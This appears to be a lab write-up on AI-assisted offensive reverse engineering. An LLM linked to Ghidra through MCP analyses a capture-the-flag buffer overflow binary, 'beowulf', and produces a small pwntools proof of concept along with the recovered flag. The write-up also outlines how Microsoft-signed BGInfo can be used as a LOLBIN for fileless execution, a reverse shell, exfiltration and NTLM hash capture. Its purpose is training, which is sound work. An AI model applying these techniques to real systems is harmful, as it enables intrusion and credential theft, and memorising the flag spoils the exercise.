August 30, 2026 · Offensive Cyber Operations with AI

GhidraMCPBuffer OverflowLOLBINBGInfoReverse Engineering

AI Red Teaming Lab 6: Ghidra MCP — Beowulf BOF & BGInfo as a LOLBIN — a technical write-up

Lab 6 connects an LLM to Ghidra via MCP so the AI can decompile and query binaries live. Exercise 1 uses it to analyze and exploit a vulnerable 32-bit ELF (beowulf). Exercise 2 reverse-engineers the Microsoft-signed Sysinternals Bginfo.exe and weaponizes it as a LOLBIN across four red-team exercises. This is the longest lab in the series — budget a full day.

Key result: Beowulf flag recovered — Flag{0v3rFl0WW_AlL_Th3_B7Ff3rS} — and a Microsoft-signed BGInfo turned into a fileless execution, reverse-shell, and exfiltration platform.

Attack path (how the steps chain)

  1. AI-assisted triage — Ghidra MCP lets the LLM enumerate imports, symbols, and decompiled functions; it spots gets()/strcpy() and the three SIGSEGV handlers guarding the secret blobs.
  2. Vulnerability → offset — the stack buffer sits at ebp-0xd4, saved EIP at ebp+4 → overwrite offset 216.
  3. The crash is the exploit — junk EIP (0xdeadbeef) triggers SIGSEGV; the installed handler XOR-decrypts the blob and writes it to stderr. No shellcode, no ROP.
  4. Break the cipher — the base64 hint leads to the encryption script; ROL1∘ROR1 cancels, so undoing SUB/ADD/XOR recovers Flag{0v3rFl0WW_AlL_Th3_B7Ff3rS}.
  5. LOLBIN weaponization — reversing BGInfo reveals UserFields type 4 = VBScript execution: malicious .bgi → fileless registry plant → WMI-spawned reverse shell (parented to WmiPrvSE.exe) → SMB "database" exfiltration that also captures the victim's NTLMv2 hash — all under a Microsoft-signed binary.

1. Setup (common)

  1. Install Java JDK (Temurin), Ghidra 11.3.2, and the GhidraMCP 1.4 extension (Ghidra → File → Install Extensions → restart).
  2. Create a Ghidra project, import the target binary, run auto-analysis.
  3. pip install mcp requests, then run the bridge: python bridge_mcp_ghidra.py --transport sse (leave running).
  4. Point Cursor/Claude Desktop at the bridge via the provided claude_desktop_config.jsonfix the hardcoded path (C:\Users\StealthOPS\...) to your own. Green dot = connected.
Ghidra project window with beowulf imported and the CodeBrowser open
Figure 1 — beowulf imported and analyzed in Ghidra 11.4 (ELF 32-bit i386), CodeBrowser open on the entry point.

2. Exercise 1 — Beowulf buffer overflow

2.1 What the AI should find

Ghidra decompiler showing main with mode selection and signal handler installs
Figure 2 — main decompiled: mode selection (--flag/--algo/--sample), each branch installing a sigsegv_handler before the vulnerable read.

The decompiled handler shows the whole trick — XOR-decrypt the blob, then write() it to stderr:

void sigsegv_handler2(void) {
  for (local_10 = 0; local_10 < 0x621; local_10++) {
    algo_d[local_10] = algo_d[local_10] ^ 8;   // in-place XOR decrypt
  }
  write(2, algo_d, strlen(algo_d));            // leak to stderr on crash
  exit(1);
}

2.2 The AI prompt and PoC

Prompt: "I have decompiled the Beowulf file. Analyze the code, identify any security vulnerabilities, and generate a proof-of-concept (PoC) script demonstrating how the vulnerability could be exploited."

OFFSET = 216
payload = b"A" * OFFSET + b"\xde\xad\xbe\xef"   # junk EIP → SIGSEGV
p = process([TARGET, mode])                     # --flag / --algo / --sample
p.recvuntil(b": "); p.sendline(payload)
output = p.recvall(timeout=2)                   # handler prints secret to stderr

Mode → handler/XOR-key mapping: --flag → key 7, --algo → key 8, --sample → key 9.

2.3 Flag decryption

The custom cipher is per-byte with a rolling key: XOR key[i] → ADD key[i+1] → SUB key[i+2] → ROL1 → ROR1. The elegant insight: ROL1 ∘ ROR1 cancels, so decoding is just undo SUB/ADD/XOR with the 3-position key window. 2. decrypt.py self-tests against the known "Hello World" sample, then yields:

[+] Flag : Flag{0v3rFl0WW_AlL_Th3_B7Ff3rS}

Pitfalls: beowulf is a Linux 32-bit binary (needs libc6-i386; won't run on Windows/macOS); BOF.py hardcodes ./vuln_binary — rename or edit; assuming 64-bit get the offset wrong.

3. Exercise 2 — BGInfo as a LOLBIN

3.1 Research phase (Ghidra MCP prompts, fed sequentially)

3.2 The four red-team exercises (Windows VM)

4. Troubleshooting highlights

References